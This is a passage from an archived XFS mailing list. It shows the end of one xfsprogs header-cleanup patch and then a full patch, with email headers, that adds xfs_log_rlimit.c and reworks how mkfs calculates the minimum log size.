xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, @@ -110,5 +102,4 @@ extern const struct xfs_buf_ops xfs_dir3_leaf1_buf_ops; extern const struct xfs_buf_ops xfs_dir3_free_buf_ops; extern const struct xfs_buf_ops xfs_dir3_data_buf_ops; - #endif /* __XFS_DIR2_H__ */ diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h index 4126e86..2095e17 100644 --- a/include/xfs_dir2_format.h +++ b/include/xfs_dir2_format.h @@ -73,6 +73,7 @@ */ typedef __uint16_t xfs_dir2_data_off_t; #define NULLDATAOFF 0xffffU +typedef uint xfs_dir2_data_aoff_t; /* argument form */ /* * Normalized offset (in a data block) of the entry, really xfs_dir2_data_off_t. @@ -93,6 +94,11 @@ typedef __uint32_t xfs_dir2_dataptr_t; typedef xfs_off_t xfs_dir2_off_t; /* + * Directory block number (logical dirblk in file) + */ +typedef __uint32_t xfs_dir2_db_t; + +/* * Inode number stored as 8 8-bit values. */ typedef struct { __uint8_t i[8]; } xfs_dir2_ino8_t; @@ -144,19 +150,19 @@ static inline int xfs_dir2_sf_hdr_size(int i8count) (sizeof(xfs_dir2_ino8_t) - sizeof(xfs_dir2_ino4_t)); } - static inline xfs_dir2_data_aoff_t +static inline xfs_dir2_data_aoff_t xfs_dir2_sf_get_offset(xfs_dir2_sf_entry_t *sfep) { return get_unaligned_be16(&sfep->offset.i); } - static inline void +static inline void xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) { put_unaligned_be16(off, &sfep->offset.i); } - static inline int +static inline int xfs_dir2_sf_entsize(struct xfs_dir2_sf_hdr *hdr, int len) { return sizeof(struct xfs_dir2_sf_entry) + /* namelen + offset */ @@ -166,14 +172,14 @@ xfs_dir2_sf_entsize(struct xfs_dir2_sf_hdr *hdr, int len) sizeof(xfs_dir2_ino4_t)); } - static inline struct xfs_dir2_sf_entry * +static inline struct xfs_dir2_sf_entry * xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) { return (struct xfs_dir2_sf_entry *) ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); } - static inline struct xfs_dir2_sf_entry * +static inline struct xfs_dir2_sf_entry * xfs_dir2_sf_nextentry(struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep) { @@ -238,7 +244,7 @@ typedef struct xfs_dir2_data_free { */ typedef struct xfs_dir2_data_hdr { __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ - /* XFS_DIR2_BLOCK_MAGIC */ + /* XFS_DIR2_BLOCK_MAGIC */ xfs_dir2_data_free_t bestfree[XFS_DIR2_DATA_FD_COUNT]; } xfs_dir2_data_hdr_t; @@ -265,7 +271,7 @@ struct xfs_dir3_data_hdr { #define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) - static inline struct xfs_dir2_data_free * +static inline struct xfs_dir2_data_free * xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) { if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || @@ -514,7 +520,7 @@ struct xfs_dir3_leaf { #define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, - struct xfs_dir2_leaf *from); + struct xfs_dir2_leaf *from); static inline int xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) diff --git a/include/xfs_fs.h b/include/xfs_fs.h index 44b69e7..68c2e18 100644 --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -311,6 +311,17 @@ typedef struct xfs_bstat { } xfs_bstat_t; /* + * Project quota id helpers (previously projid was 16bit only + * and using two 16bit values to hold new 32bit projid was choosen + * to retain compatibility with "old" filesystems). + */ +static inline __uint32_t +bstat_get_projid(struct xfs_bstat *bs) +{ + return (__uint32_t)bs->bs_projid_hi << 16 | bs->bs_projid_lo; +} + +/* * The user-level BulkStat Request interface structure. */ typedef struct xfs_fsop_bulkreq { @@ -511,10 +522,14 @@ typedef struct xfs_handle { #define XFS_IOC_ERROR_INJECTION _IOW ('X', 116, struct xfs_error_injection) #define XFS_IOC_ERROR_CLEARALL _IOW ('X', 117, struct xfs_error_injection) /* XFS_IOC_ATTRCTL_BY_HANDLE -- deprecated 118 */ + /* XFS_IOC_FREEZE -- FIFREEZE 119 */ /* XFS_IOC_THAW -- FITHAW 120 */ +#ifndef FIFREEZE #define XFS_IOC_FREEZE _IOWR('X', 119, int) #define XFS_IOC_THAW _IOWR('X', 120, int) +#endif + #define XFS_IOC_FSSETDM_BY_HANDLE _IOW ('X', 121, struct xfs_fsop_setdm_handlereq) #define XFS_IOC_ATTRLIST_BY_HANDLE _IOW ('X', 122, struct xfs_fsop_attrlist_handlereq) #define XFS_IOC_ATTRMULTI_BY_HANDLE _IOW ('X', 123, struct xfs_fsop_attrmulti_handlereq) @@ -537,15 +552,4 @@ typedef struct xfs_handle { #define BBTOB(bbs) ((bbs) << BBSHIFT) #endif -/* - * Project quota id helpers (previously projid was 16bit only - * and using two 16bit values to hold new 32bit projid was choosen - * to retain compatibility with "old" filesystems). - */ -static inline __uint32_t -bstat_get_projid(struct xfs_bstat *bs) -{ - return (__uint32_t)bs->bs_projid_hi << 16 | bs->bs_projid_lo; -} - #endif /* __XFS_FS_H__ */ diff --git a/include/xfs_ialloc_btree.h b/include/xfs_ialloc_btree.h index 7f5ae6b..3ac36b7 100644 --- a/include/xfs_ialloc_btree.h +++ b/include/xfs_ialloc_btree.h @@ -80,8 +80,7 @@ typedef __be32 xfs_inobt_ptr_t; */ #define XFS_INOBT_BLOCK_LEN(mp) \ (xfs_sb_version_hascrc(&((mp)->m_sb)) ? \ - XFS_BTREE_SBLOCK_CRC_LEN : \ - XFS_BTREE_SBLOCK_LEN) + XFS_BTREE_SBLOCK_CRC_LEN : XFS_BTREE_SBLOCK_LEN) /* * Record, key, and pointer address macros for btree blocks. diff --git a/include/xfs_inode_buf.h b/include/xfs_inode_buf.h index b5f1e22..aae9fc4 100644 --- a/include/xfs_inode_buf.h +++ b/include/xfs_inode_buf.h @@ -40,7 +40,6 @@ int xfs_iread(struct xfs_mount *, struct xfs_trans *, void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); void xfs_dinode_to_disk(struct xfs_dinode *, struct xfs_icdinode *); -bool xfs_can_free_eofblocks(struct xfs_inode *, bool); #if defined(DEBUG) void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 276fc25..0ab5f21 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -437,3 +437,5 @@ xfs_buf_t *xfs_trans_buf_item_match(xfs_trans_t *, struct xfs_buftarg *, /* local source files */ int xfs_mod_incore_sb(xfs_mount_t *, xfs_sb_field_t, int64_t, int); void xfs_trans_mod_sb(xfs_trans_t *, uint, long); +void xfs_trans_init(struct xfs_mount *); +int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1879829E22 for ; Wed, 4 Sep 2013 17:21:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 08B0F304039 for ; Wed, 4 Sep 2013 15:21:40 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0009-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id MLOys14qKw09LNGQ for ; Wed, 04 Sep 2013 15:21:37 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnwIAKexJ1J5LJ62/2dsb2JhbABbgweuUUGTOIEoF3SCJAEBBRoNLzMIGBgZOQMbGYgBujaPVRyEEwOiJIc3gzIqgS4fBQ Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:34 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dl-Fg for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003v5-Dw for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 46/55] xfs: Add xfs_log_rlimit.c Date: Thu, 5 Sep 2013 08:05:50 +1000 X-ASG-Orig-Subj: [PATCH 46/55] xfs: Add xfs_log_rlimit.c Message-Id: <1378332359-14737-47-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333296 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Add source files for xfs_log_rlimit.c The new file is used for log size calculations and validation shared with userspace. [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the tr_attrsetm reservation, just calculates the maximum. ] [dchinner: rework loop in xfs_log_get_max_trans_res() ] [dchinner: implement xfs_log_calc_unit_res() in util.c to give mkfs a worse case calculation of the log size needed. ] Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/xfs_fs.h | 4 +- include/xfs_log_format.h | 11 +++- libxfs/Makefile | 15 ++++-- libxfs/util.c | 107 +++++++++++++++++++++++++++++++++++++ libxfs/xfs.h | 8 +++ libxfs/xfs_log_rlimit.c | 136 +++++++++++++++++++++++++++++++++++++++++++++++ mkfs/maxtrres.c | 66 +++++++---------------- mkfs/xfs_mkfs.c | 105 ++++++++++++++++++++---------------- mkfs/xfs_mkfs.h | 6 +-- 9 files changed, 356 insertions(+), 102 deletions(-) create mode 100644 libxfs/xfs_log_rlimit.c diff --git a/include/xfs_fs.h b/include/xfs_fs.h index 74b24b2..53e33c2 100644 --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -240,7 +240,9 @@ typedef struct xfs_fsop_resblks { /* - * Minimum and maximum sizes need for growth checks + * Minimum and maximum sizes need for growth checks. + * + * Block counts are in units of filesystem blocks, not basic blocks. */ #define XFS_MIN_AG_BLOCKS 64 #define XFS_MIN_LOG_BLOCKS 512ULL diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index f57975d..31e3a06 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -18,6 +18,9 @@ #ifndef __XFS_LOG_FORMAT_H__ #define __XFS_LOG_FORMAT_H__ +struct xfs_mount; +struct xfs_trans_res; + /* * On-disk Log Format definitions. * @@ -49,6 +52,9 @@ typedef __uint32_t xlog_tid_t; #define XLOG_HEADER_SIZE 512 +/* Minimum number of transactions that must fit in the log (defined by mkfs) */ +#define XFS_MIN_LOG_FACTOR 3 + #define XLOG_REC_SHIFT(log) \ BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) @@ -133,7 +139,6 @@ typedef struct xlog_op_header { __u16 oh_res2; /* 32 bit align : 2 b */ } xlog_op_header_t; - /* valid values for h_fmt */ #define XLOG_FMT_UNKNOWN 0 #define XLOG_FMT_LINUX_LE 1 @@ -840,4 +845,8 @@ struct xfs_icreate_log { __be32 icl_gen; /* inode generation number to use */ }; +int xfs_log_calc_unit_res(struct xfs_mount *mp, int unit_bytes); +int xfs_log_calc_minimum_size(struct xfs_mount *); + + #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 5608020..f0cbae3 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -17,14 +17,23 @@ CFILES = cache.c \ xfs_alloc.c \ xfs_alloc_btree.c \ xfs_attr.c \ + xfs_attr_leaf.c \ xfs_attr_remote.c \ + xfs_bmap.c \ + xfs_bmap_btree.c \ xfs_btree.c \ + xfs_da_btree.c \ + xfs_dir2.c \ + xfs_dir2_block.c \ + xfs_dir2_data.c \ + xfs_dir2_leaf.c \ + xfs_dir2_node.c \ + xfs_dir2_sf.c \ xfs_ialloc.c \ xfs_inode_buf.c \ xfs_inode_fork.c \ - xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ - xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ - xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ + xfs_ialloc_btree.c \ + xfs_log_rlimit.c \ xfs_rtalloc.c \ xfs_sb.c \ xfs_symlink_remote.c \ diff --git a/libxfs/util.c b/libxfs/util.c index d7459e0..8109ab3 100644 --- a/libxfs/util.c +++ b/libxfs/util.c @@ -22,6 +22,113 @@ #include /* + * Calculate the worst case log unit reservation for a given superblock + * configuration. Copied and munged from the kernel code, and assumes a + * worse case header usage (maximum log buffer sizes) + */ +int +xfs_log_calc_unit_res( + struct xfs_mount *mp, + int unit_bytes) +{ + int iclog_space; + int iclog_header_size; + int iclog_size; + uint num_headers; + + if (xfs_sb_version_haslogv2(&mp->m_sb)) { + iclog_size = XLOG_MAX_RECORD_BSIZE; + iclog_header_size = BBTOB(iclog_size / XLOG_HEADER_CYCLE_SIZE); + } else { + iclog_size = XLOG_BIG_RECORD_BSIZE; + iclog_header_size = BBSIZE; + } + + /* + * Permanent reservations have up to 'cnt'-1 active log operations + * in the log. A unit in this case is the amount of space for one + * of these log operations. Normal reservations have a cnt of 1 + * and their unit amount is the total amount of space required. + * + * The following lines of code account for non-transaction data + * which occupy space in the on-disk log. + * + * Normal form of a transaction is: + * ... + * and then there are LR hdrs, split-recs and roundoff at end of syncs. + * + * We need to account for all the leadup data and trailer data + * around the transaction data. + * And then we need to account for the worst case in terms of using + * more space. + * The worst case will happen if: + * - the placement of the transaction happens to be such that the + * roundoff is at its maximum + * - the transaction data is synced before the commit record is synced + * i.e. | + * Therefore the commit record is in its own Log Record. + * This can happen as the commit record is called with its + * own region to xlog_write(). + * This then means that in the worst case, roundoff can happen for + * the commit-rec as well. + * The commit-rec is smaller than padding in this scenario and so it is + * not added separately. + */ + + /* for trans header */ + unit_bytes += sizeof(xlog_op_header_t); + unit_bytes += sizeof(xfs_trans_header_t); + + /* for start-rec */ + unit_bytes += sizeof(xlog_op_header_t); + + /* + * for LR headers - the space for data in an iclog is the size minus + * the space used for the headers. If we use the iclog size, then we + * undercalculate the number of headers required. + * + * Furthermore - the addition of op headers for split-recs might + * increase the space required enough to require more log and op + * headers, so take that into account too. + * + * IMPORTANT: This reservation makes the assumption that if this + * transaction is the first in an iclog and hence has the LR headers + * accounted to it, then the remaining space in the iclog is + * exclusively for this transaction. i.e. if the transaction is larger + * than the iclog, it will be the only thing in that iclog. + * Fundamentally, this means we must pass the entire log vector to + * xlog_write to guarantee this. + */ + iclog_space = iclog_size - iclog_header_size; + num_headers = howmany(unit_bytes, iclog_space); + + /* for split-recs - ophdrs added when data split over LRs */ + unit_bytes += sizeof(xlog_op_header_t) * num_headers; + + /* add extra header reservations if we overrun */ + while (!num_headers || + howmany(unit_bytes, iclog_space) > num_headers) { + unit_bytes += sizeof(xlog_op_header_t); + num_headers++; + } + unit_bytes += iclog_header_size * num_headers; + + /* for commit-rec LR header - note: padding will subsume the ophdr */ + unit_bytes += iclog_header_size; + + /* for roundoff padding for transaction data and one for commit record */ + if (xfs_sb_version_haslogv2(&mp->m_sb) && mp->m_sb.sb_logsunit > 1) { + /* log su roundoff */ + unit_bytes += 2 * mp->m_sb.sb_logsunit; + } else { + /* BB roundoff */ + unit_bytes += 2 * BBSIZE; + } + + return unit_bytes; +} + +/* * Change the requested timestamp in the given inode. * * This was once shared with the kernel, but has diverged to the point diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 0ab5f21..31acf1b 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -208,6 +208,14 @@ roundup_pow_of_two(uint v) return 0; } +static inline __uint64_t +roundup_64(__uint64_t x, __uint32_t y) +{ + x += y - 1; + do_div(x, y); + return x * y; +} + /* buffer management */ #define XFS_BUF_LOCK 0 #define XFS_BUF_TRYLOCK 0 diff --git a/libxfs/xfs_log_rlimit.c b/libxfs/xfs_log_rlimit.c new file mode 100644 index 0000000..f52beed --- /dev/null +++ b/libxfs/xfs_log_rlimit.c @@ -0,0 +1,136 @@ +/* + * Copyright (c) 2013 Jie Liu. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +/* + * Calculate the maximum length in bytes that would be required for a local + * attribute value as large attributes out of line are not logged. + */ +STATIC int +xfs_log_calc_max_attrsetm_res( + struct xfs_mount *mp) +{ + int size; + int nblks; + + size = xfs_attr_leaf_entsize_local_max(mp->m_sb.sb_blocksize) - + MAXNAMELEN - 1; + nblks = XFS_DAENTER_SPACE_RES(mp, XFS_ATTR_FORK); + nblks += XFS_B_TO_FSB(mp, size); + nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); + + return M_RES(mp)->tr_attrsetm.tr_logres + + M_RES(mp)->tr_attrsetrt.tr_logres * nblks; +} + +/* + * Iterate over the log space reservation table to figure out and return + * the maximum one in terms of the pre-calculated values which were done + * at mount time. + */ +STATIC void +xfs_log_get_max_trans_res( + struct xfs_mount *mp, + struct xfs_trans_res *max_resp) +{ + struct xfs_trans_res *resp; + struct xfs_trans_res *end_resp; + int log_space = 0; + int attr_space; + + attr_space = xfs_log_calc_max_attrsetm_res(mp); + + resp = (struct xfs_trans_res *)M_RES(mp); + end_resp = (struct xfs_trans_res *)(M_RES(mp) + 1); + for (; resp < end_resp; resp++) { + int tmp = resp->tr_logcount > 1 ? + resp->tr_logres * resp->tr_logcount : + resp->tr_logres; + if (log_space < tmp) { + log_space = tmp; + *max_resp = *resp; /* struct copy */ + } + } + + if (attr_space > log_space) { + *max_resp = M_RES(mp)->tr_attrsetm; /* struct copy */ + max_resp->tr_logres = attr_space; + } +} + +/* + * Calculate the minimum valid log size for the given superblock configuration. + * Used to calculate the minimum log size at mkfs time, and to determine if + * the log is large enough or not at mount time. Returns the minimum size in + * filesystem block size units. + */ +int +xfs_log_calc_minimum_size( + struct xfs_mount *mp) +{ + struct xfs_trans_res tres = {0}; + int max_logres; + int min_logblks = 0; + int lsunit = 0; + + xfs_log_get_max_trans_res(mp, &tres); + + max_logres = xfs_log_calc_unit_res(mp, tres.tr_logres); + if (tres.tr_logcount > 1) + max_logres *= tres.tr_logcount; + + if (xfs_sb_version_haslogv2(&mp->m_sb) && mp->m_sb.sb_logsunit > 1) + lsunit = BTOBB(mp->m_sb.sb_logsunit); + + /* + * Two factors should be taken into account for calculating the minimum + * log space. + * 1) The fundamental limitation is that no single transaction can be + * larger than half size of the log. + * + * From mkfs.xfs, this is considered by the XFS_MIN_LOG_FACTOR + * define, which is set to 3. That means we can definitely fit + * maximally sized 2 transactions in the log. We'll use this same + * value here. + * + * 2) If the lsunit option is specified, a transaction requires 2 LSU + * for the reservation because there are two log writes that can + * require padding - the transaction data and the commit record which + * are written separately and both can require padding to the LSU. + * Consider that we can have an active CIL reservation holding 2*LSU, + * but the CIL is not over a push threshold, in this case, if we + * don't have enough log space for at one new transaction, which + * includes another 2*LSU in the reservation, we will run into dead + * loop situation in log space grant procedure. i.e. + * xlog_grant_head_wait(). + * + * Hence the log size needs to be able to contain two maximally sized + * and padded transactions, which is (2 * (2 * LSU + maxlres)). + * + * Also, the log size should be a multiple of the log stripe unit, round + * it up to lsunit boundary if lsunit is specified. + */ + if (lsunit) { + min_logblks = roundup_64(BTOBB(max_logres), lsunit) + + 2 * lsunit; + } else + min_logblks = BTOBB(max_logres) + 2 * BBSIZE; + min_logblks *= XFS_MIN_LOG_FACTOR; + + return XFS_BB_TO_FSB(mp, min_logblks); +} diff --git a/mkfs/maxtrres.c b/mkfs/maxtrres.c index 59cdcfd..feeab9c 100644 --- a/mkfs/maxtrres.c +++ b/mkfs/maxtrres.c @@ -27,46 +27,6 @@ #include #include "xfs_mkfs.h" -static void -max_attrsetm_trans_res_adjust( - xfs_mount_t *mp) -{ - int local; - int size; - int nblks; - int res; - - /* - * Determine space the maximal sized attribute will use, - * to calculate the largest reservation size needed. - */ - size = libxfs_attr_leaf_newentsize(MAXNAMELEN, 64 * 1024, - mp->m_sb.sb_blocksize, &local); - ASSERT(!local); - nblks = XFS_DAENTER_SPACE_RES(mp, XFS_ATTR_FORK); - nblks += XFS_B_TO_FSB(mp, size); - nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); - res = M_RES(mp)->tr_attrsetm.tr_logres + - M_RES(mp)->tr_attrsetrt.tr_logres * nblks; - M_RES(mp)->tr_attrsetm.tr_logres = res; -} - -static int -max_trans_res_by_mount( - struct xfs_mount *mp) -{ - struct xfs_trans_resv *tr = &mp->m_resv; - struct xfs_trans_res *p; - struct xfs_trans_res rval = {0}; - - for (p = (struct xfs_trans_res *)tr; - p < (struct xfs_trans_res *)(tr + 1); p++) { - if (p->tr_logres > rval.tr_logres) - rval = *p; - } - return rval.tr_logres; -} - int max_trans_res( int crcs_enabled, @@ -74,11 +34,13 @@ max_trans_res( int sectorlog, int blocklog, int inodelog, - int dirblocklog) + int dirblocklog, + int logversion, + int log_sunit) { xfs_sb_t *sbp; xfs_mount_t mount; - int maxres, maxfsb; + int maxfsb; memset(&mount, 0, sizeof(mount)); sbp = &mount.m_sb; @@ -93,19 +55,27 @@ max_trans_res( sbp->sb_inodesize = 1 << inodelog; sbp->sb_inopblock = 1 << (blocklog - inodelog); sbp->sb_dirblklog = dirblocklog - blocklog; + + if (log_sunit > 0) { + log_sunit <<= blocklog; + logversion = 2; + } else + log_sunit = 1; + sbp->sb_logsunit = log_sunit; + sbp->sb_versionnum = (crcs_enabled ? XFS_SB_VERSION_5 : XFS_SB_VERSION_4) | - (dirversion == 2 ? XFS_SB_VERSION_DIRV2BIT : 0); + (dirversion == 2 ? XFS_SB_VERSION_DIRV2BIT : 0) | + (logversion > 1 ? XFS_SB_VERSION_LOGV2BIT : 0); libxfs_mount(&mount, sbp, 0,0,0,0); - max_attrsetm_trans_res_adjust(&mount); - maxres = max_trans_res_by_mount(&mount); - maxfsb = XFS_B_TO_FSB(&mount, maxres); + maxfsb = xfs_log_calc_minimum_size(&mount); libxfs_umount(&mount); #if 0 - printf("#define\tMAXTRRES_S%d_B%d_I%d_D%d_V%d\t%lld\n", - sectorlog, blocklog, inodelog, dirblocklog, dirversion, maxfsb); + printf("#define\tMAXTRRES_S%d_B%d_I%d_D%d_V%d_LSU%d\t%d\n", + sectorlog, blocklog, inodelog, dirblocklog, dirversion, + log_sunit, maxfsb); #endif return maxfsb; diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 6e243ab..896351b 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -922,7 +922,6 @@ main( int lssflag; int lsu; int lsunit; - int max_tr_res; int min_logblocks; xfs_mount_t *mp; xfs_mount_t mbuf; @@ -2111,50 +2110,6 @@ reported by the device (%u).\n"), sectorsize, xi.rtbsize); } - max_tr_res = max_trans_res(crcs_enabled, dirversion, - sectorlog, blocklog, inodelog, dirblocklog); - ASSERT(max_tr_res); - min_logblocks = max_tr_res * XFS_MIN_LOG_FACTOR; - min_logblocks = MAX(XFS_MIN_LOG_BLOCKS, min_logblocks); - if (!logsize && dblocks >= (1024*1024*1024) >> blocklog) - min_logblocks = MAX(min_logblocks, XFS_MIN_LOG_BYTES>>blocklog); - if (logsize && xi.logBBsize > 0 && logblocks > DTOBT(xi.logBBsize)) { - fprintf(stderr, -_("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), - logsize, (long long)DTOBT(xi.logBBsize)); - usage(); - } else if (!logsize && xi.logBBsize > 0) { - logblocks = DTOBT(xi.logBBsize); - } else if (logsize && !xi.logdev && !loginternal) { - fprintf(stderr, - _("size specified for non-existent log subvolume\n")); - usage(); - } else if (loginternal && logsize && logblocks >= dblocks) { - fprintf(stderr, _("size %lld too large for internal log\n"), - (long long)logblocks); - usage(); - } else if (!loginternal && !xi.logdev) { - logblocks = 0; - } else if (loginternal && !logsize) { - /* - * With a 2GB max log size, default to maximum size - * at 4TB. This keeps the same ratio from the older - * max log size of 128M at 256GB fs size. IOWs, - * the ratio of fs size to log size is 2048:1. - */ - logblocks = (dblocks << blocklog) / 2048; - logblocks = logblocks >> blocklog; - logblocks = MAX(min_logblocks, logblocks); - logblocks = MAX(logblocks, - MAX(XFS_DFL_LOG_SIZE, - max_tr_res * XFS_DFL_LOG_FACTOR)); - logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); - if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { - logblocks = XFS_MAX_LOG_BYTES >> blocklog; - } - } - validate_log_size(logblocks, blocklog, min_logblocks); - if (rtsize && xi.rtsize > 0 && rtblocks > DTOBT(xi.rtsize)) { fprintf(stderr, _("size %s specified for rt subvolume is too large, " @@ -2363,6 +2318,60 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), fprintf(stderr, _("log stripe unit adjusted to 32KiB\n")); } + min_logblocks = max_trans_res(crcs_enabled, dirversion, + sectorlog, blocklog, inodelog, dirblocklog, + logversion, lsunit); + ASSERT(min_logblocks); + min_logblocks = MAX(XFS_MIN_LOG_BLOCKS, min_logblocks); + if (!logsize && dblocks >= (1024*1024*1024) >> blocklog) + min_logblocks = MAX(min_logblocks, XFS_MIN_LOG_BYTES>>blocklog); + if (logsize && xi.logBBsize > 0 && logblocks > DTOBT(xi.logBBsize)) { + fprintf(stderr, +_("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), + logsize, (long long)DTOBT(xi.logBBsize)); + usage(); + } else if (!logsize && xi.logBBsize > 0) { + logblocks = DTOBT(xi.logBBsize); + } else if (logsize && !xi.logdev && !loginternal) { + fprintf(stderr, + _("size specified for non-existent log subvolume\n")); + usage(); + } else if (loginternal && logsize && logblocks >= dblocks) { + fprintf(stderr, _("size %lld too large for internal log\n"), + (long long)logblocks); + usage(); + } else if (!loginternal && !xi.logdev) { + logblocks = 0; + } else if (loginternal && !logsize) { + /* + * With a 2GB max log size, default to maximum size + * at 4TB. This keeps the same ratio from the older + * max log size of 128M at 256GB fs size. IOWs, + * the ratio of fs size to log size is 2048:1. + */ + logblocks = (dblocks << blocklog) / 2048; + logblocks = logblocks >> blocklog; + logblocks = MAX(min_logblocks, logblocks); + + /* + * If the default log size doesn't fit in the AG size, use the + * minimum log size instead. This ensures small filesystems + * don't use excessive amounts of space for the log. + */ + if (min_logblocks * XFS_DFL_LOG_FACTOR >= agsize) { + logblocks = min_logblocks; + } else { + logblocks = MAX(logblocks, + MAX(XFS_DFL_LOG_SIZE, + min_logblocks * XFS_DFL_LOG_FACTOR)); + } + logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); + if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { + logblocks = XFS_MAX_LOG_BYTES >> blocklog; + } + } + validate_log_size(logblocks, blocklog, min_logblocks); + protostring = setup_proto(protofile); bsize = 1 << (blocklog - BBSHIFT); mp = &mbuf; @@ -2371,6 +2380,7 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), sbp->sb_blocklog = (__uint8_t)blocklog; sbp->sb_sectlog = (__uint8_t)sectorlog; sbp->sb_agblklog = (__uint8_t)libxfs_log2_roundup((unsigned int)agsize); + sbp->sb_agblocks = (xfs_agblock_t)agsize; mp->m_blkbb_log = sbp->sb_blocklog - BBSHIFT; mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; @@ -2382,6 +2392,9 @@ an AG size that is one stripe unit smaller, for example %llu.\n"), if (!logsize) { logblocks = MIN(logblocks, XFS_ALLOC_AG_MAX_USABLE(mp)); + + /* revalidate the log size is valid if we changed it */ + validate_log_size(logblocks, blocklog, min_logblocks); } if (logblocks > agsize - XFS_PREALLOC_BLOCKS(mp)) { 